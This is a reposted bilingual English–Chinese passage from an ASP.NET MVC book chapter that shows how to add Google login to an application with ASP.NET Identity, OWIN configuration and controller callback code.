如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework. 这不是一个直接由MVC框架使用的特性。 Note The reason I have chosen to demonstrate Google authentication is that it is the only option that doesn’t require me to register my application with the authentication service. You can get details of the registration processes required at http://bit.ly/1cqLTrE. 提示:我选择演示Google认证的原因是,它是唯一不需要在其认证服务中注册我应用程序的公司。有关认证服务注册过程的细节,请参阅http://bit.ly/1cqLTrE。 15.4.1 Enabling Google Authentication 15.4.1 启用Google认证 ASP.NET Identity comes with built-in support for authenticating users through their Microsoft, Google, Facebook, and Twitter accounts as well more general support for any authentication service that supports OAuth. The first step is to add the NuGet package that includes the Google-specific additions for ASP.NET Identity. Enter the following command into the Package Manager Console: ASP.NET Identity带有通过Microsoft、Google、Facebook以及Twitter账号认证用户的内建支持,并且对于支持OAuth的认证服务具有更普遍的支持。第一个步骤是添加NuGet包,包中含有用于ASP.NET Identity的Google专用附件。请在“Package Manager Console(包管理器控制台)”中输入以下命令: Install-Package Microsoft.Owin.Security.Google -version 2.0.2 There are NuGet packages for each of the services that ASP.NET Identity supports, as described in Table 15-9. 对于ASP.NET Identity支持的每一种服务都有相应的NuGet包,如表15-9所示。 Table 15-9. The NuGet Authenticaton Packages 表15-9. NuGet认证包 Name 名称 Description 描述 Microsoft.Owin.Security.Google Authenticates users with Google accounts 用Google账号认证用户 Microsoft.Owin.Security.Facebook Authenticates users with Facebook accounts 用Facebook账号认证用户 Microsoft.Owin.Security.Twitter Authenticates users with Twitter accounts 用Twitter账号认证用户 Microsoft.Owin.Security.MicrosoftAccount Authenticates users with Microsoft accounts 用Microsoft账号认证用户 Microsoft.Owin.Security.OAuth Authenticates users against any OAuth 2.0 service 根据任一OAuth 2.0服务认证用户 Once the package is installed, I enable support for the authentication service in the OWIN startup class, which is defined in the App_Start/IdentityConfig.cs file in the example project. Listing 15-22 shows the change that I have made. 一旦安装了这个包,便可以在OWIN启动类中启用此项认证服务的支持,启动类的定义在示例项目的App_Start/IdentityConfig.cs文件中。清单15-22显示了所做的修改。 Listing 15-22. Enabling Google Authentication in the IdentityConfig.cs File 清单15-22. 在IdentityConfig.cs文件中启用Google认证 using Microsoft.AspNet.Identity;using Microsoft.Owin;using Microsoft.Owin.Security.Cookies;using Owin;using Users.Infrastructure;using Microsoft.Owin.Security.Google;namespace Users {public class IdentityConfig {public void Configuration(IAppBuilder app) {app.CreatePerOwinContext<AppIdentityDbContext>(AppIdentityDbContext.Create);app.CreatePerOwinContext<AppUserManager>(AppUserManager.Create);app.CreatePerOwinContext<AppRoleManager>(AppRoleManager.Create); app.UseCookieAuthentication(new CookieAuthenticationOptions {AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,LoginPath = new PathString("/Account/Login"),}); app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);app.UseGoogleAuthentication();} }} Each of the packages that I listed in Table 15-9 contains an extension method that enables the corresponding service. The extension method for the Google service is called UseGoogleAuthentication, and it is called on the IAppBuilder implementation that is passed to the Configuration method. 表15-9所列的每个包都含有启用相应服务的扩展方法。用于Google服务的扩展方法名称为UseGoogleAuthentication,它通过传递给Configuration方法的IAppBuilder实现进行调用。 Next I added a button to the Views/Account/Login.cshtml file, which allows users to log in via Google. You can see the change in Listing 15-23. 下一步骤是在Views/Account/Login.cshtml文件中添加一个按钮,让用户能够通过Google进行登录。所做的修改如清单15-23所示。 Listing 15-23. Adding a Google Login Button to the Login.cshtml File 清单15-23. 在Login.cshtml文件中添加Google登录按钮 @model Users.Models.LoginModel@{ ViewBag.Title = "Login";}<h2>Log In</h2> @Html.ValidationSummary()@using (Html.BeginForm()) {@Html.AntiForgeryToken();<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><div class="form-group"><label>Name</label>@Html.TextBoxFor(x => x.Name, new { @class = "form-control" })</div><div class="form-group"><label>Password</label>@Html.PasswordFor(x => x.Password, new { @class = "form-control" })</div><button class="btn btn-primary" type="submit">Log In</button>}@using (Html.BeginForm("GoogleLogin", "Account")) {<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><button class="btn btn-primary" type="submit">Log In via Google</button>} The new button submits a form that targets the GoogleLogin action on the Account controller. You can see this method—and the other changes I made the controller—in Listing 15-24. 新按钮递交一个表单,目标是Account控制器中的GoogleLogin动作。可从清单15-24中看到该方法,以及在控制器中所做的其他修改。 Listing 15-24. Adding Support for Google Authentication to the AccountController.cs File 清单15-24. 在AccountController.cs文件中添加Google认证支持 using System.Threading.Tasks;using System.Web.Mvc;using Users.Models;using Microsoft.Owin.Security;using System.Security.Claims;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Infrastructure;using System.Web; namespace Users.Controllers {[Authorize]public class AccountController : Controller {[AllowAnonymous]public ActionResult Login(string returnUrl) {if (HttpContext.User.Identity.IsAuthenticated) {return View("Error", new string[] { "Access Denied" });}ViewBag.returnUrl = returnUrl;return View();}[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident)); AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);} [HttpPost][AllowAnonymous]public ActionResult GoogleLogin(string returnUrl) {var properties = new AuthenticationProperties {RedirectUri = Url.Action("GoogleLoginCallback",new { returnUrl = returnUrl})};HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();}[AllowAnonymous]public async Task<ActionResult> GoogleLoginCallback(string returnUrl) {ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();AppUser user = await UserManager.FindAsync(loginInfo.Login);if (user == null) {user = new AppUser {Email = loginInfo.Email,UserName = loginInfo.DefaultUserName,City = Cities.LONDON, Country = Countries.UK};IdentityResult result = await UserManager.CreateAsync(user);if (!result.Succeeded) {return View("Error", result.Errors);} else {result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);if (!result.Succeeded) {return View("Error", result.Errors);} }}ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false }, ident);return Redirect(returnUrl ?? "/");}[Authorize]public ActionResult Logout() {AuthManager.SignOut();return RedirectToAction("Index", "Home");}private IAuthenticationManager AuthManager {get {return HttpContext.GetOwinContext().Authentication;} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } The GoogleLogin method creates an instance of the AuthenticationProperties class and sets the RedirectUri property to a URL that targets the GoogleLoginCallback action in the same controller. The next part is a magic phrase that causes ASP.NET Identity to respond to an unauthorized error by redirecting the user to the Google authentication page, rather than the one defined by the application: GoogleLogin方法创建了AuthenticationProperties类的一个实例,并为RedirectUri属性设置了一个URL,其目标为同一控制器中的GoogleLoginCallback动作。下一个部分是一个神奇阶段,通过将用户重定向到Google认证页面,而不是应用程序所定义的认证页面,让ASP.NET Identity对未授权的错误进行响应: ...HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();... This means that when the user clicks the Log In via Google button, their browser is redirected to the Google authentication service and then redirected back to the GoogleLoginCallback action method once they are authenticated. 这意味着,当用户通过点击Google按钮进行登录时,浏览器被重定向到Google的认证服务,一旦在那里认证之后,便被重定向回GoogleLoginCallback动作方法。 I get details of the external login by calling the GetExternalLoginInfoAsync of the IAuthenticationManager implementation, like this: 我通过调用IAuthenticationManager实现的GetExternalLoginInfoAsync方法,我获得了外部登录的细节,如下所示: ...ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();... The ExternalLoginInfo class defines the properties shown in Table 15-10. ExternalLoginInfo类定义的属性如表15-10所示: Table 15-10. The Properties Defined by the ExternalLoginInfo Class 表15-10. ExternalLoginInfo类所定义的属性 Name 名称 Description 描述 DefaultUserName Returns the username 返回用户名 Email Returns the e-mail address 返回E-mail地址 ExternalIdentity Returns a ClaimsIdentity that identities the user 返回标识该用户的ClaimsIdentity Login Returns a UserLoginInfo that describes the external login 返回描述外部登录的UserLoginInfo I use the FindAsync method defined by the user manager class to locate the user based on the value of the ExternalLoginInfo.Login property, which returns an AppUser object if the user has been authenticated with the application before: 我使用了由用户管理器类所定义的FindAsync方法,以便根据ExternalLoginInfo.Login属性的值对用户进行定位,如果用户之前在应用程序中已经认证,该属性会返回一个AppUser对象: ...AppUser user = await UserManager.FindAsync(loginInfo.Login);... If the FindAsync method doesn’t return an AppUser object, then I know that this is the first time that this user has logged into the application, so I create a new AppUser object, populate it with values, and save it to the database. I also save details of how the user logged in so that I can find them next time: 如果FindAsync方法返回的不是AppUser对象,那么我便知道这是用户首次登录应用程序,于是便创建了一个新的AppUser对象,填充该对象的值,并将其保存到数据库。我还保存了用户如何登录的细节,以便下次能够找到他们: ...result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);... All that remains is to generate an identity the user, copy the claims provided by Google, and create an authentication cookie so that the application knows the user has been authenticated: 剩下的事情只是生成该用户的标识了,拷贝Google提供的声明(Claims),并创建一个认证Cookie,以使应用程序知道此用户已认证: ...ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties { IsPersistent = false }, ident);... 15.4.2 Testing Google Authentication 15.4.2 测试Google认证 There is one further change that I need to make before I can test Google authentication: I need to change the account verification I set up in Chapter 13 because it prevents accounts from being created with e-mail addresses that are not within the example.com domain. Listing 15-25 shows how I removed the verification from the AppUserManager class. 在测试Google认证之前还需要一处修改:需要修改第13章所建立的账号验证,因为它不允许example.com域之外的E-mail地址创建账号。清单15-25显示了如何在AppUserManager类中删除这种验证。 Listing 15-25. Disabling Account Validation in the AppUserManager.cs File 清单15-25. 在AppUserManager.cs文件中取消账号验证 using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Microsoft.AspNet.Identity.Owin;using Microsoft.Owin;using Users.Models; namespace Users.Infrastructure {public class AppUserManager : UserManager<AppUser> {public AppUserManager(IUserStore<AppUser> store): base(store) {}public static AppUserManager Create(IdentityFactoryOptions<AppUserManager> options,IOwinContext context) {AppIdentityDbContext db = context.Get<AppIdentityDbContext>();AppUserManager manager = new AppUserManager(new UserStore<AppUser>(db)); manager.PasswordValidator = new CustomPasswordValidator {RequiredLength = 6,RequireNonLetterOrDigit = false,RequireDigit = false,RequireLowercase = true,RequireUppercase = true}; //manager.UserValidator = new CustomUserValidator(manager) {// AllowOnlyAlphanumericUserNames = true,// RequireUniqueEmail = true//};return manager;} }} Tip you can use validation for externally authenticated accounts, but I am just going to disable the feature for simplicity. 提示:也可以使用外部已认证账号的验证,但这里出于简化,取消了这一特性。 To test authentication, start the application, click the Log In via Google button, and provide the credentials for a valid Google account. When you have completed the authentication process, your browser will be redirected back to the application. If you navigate to the /Claims/Index URL, you will be able to see how claims from the Google system have been added to the user’s identity, as shown in Figure 15-7. 为了测试认证,启动应用程序,通过点击“Log In via Google(通过Google登录)”按钮,并提供有效的Google账号凭据。当你完成了认证过程时,浏览器将被重定向回应用程序。如果导航到/Claims/Index URL,便能够看到来自Google系统的声明(Claims),已被添加到用户的标识中了,如图15-7所示。 Figure 15-7. Claims from Google 图15-7. 来自Google的声明(Claims) 15.5 Summary 15.5 小结 In this chapter, I showed you some of the advanced features that ASP.NET Identity supports. I demonstrated the use of custom user properties and how to use database migrations to preserve data when you upgrade the schema to support them. I explained how claims work and how they can be used to create more flexible ways of authorizing users. I finished the chapter by showing you how to authenticate users via Google, which builds on the ideas behind the use of claims. 本章向你演示了ASP.NET Identity所支持的一些高级特性。演示了自定义用户属性的使用,还演示了在升级数据架构时,如何使用数据库迁移保护数据。我解释了声明(Claims)的工作机制,以及如何将它们用于创建更灵活的用户授权方式。最后演示了如何通过Google进行认证结束了本章,这是建立在使用声明(Claims)的思想基础之上的。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gz19871113/article/details/108591802。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-28 08:49:21
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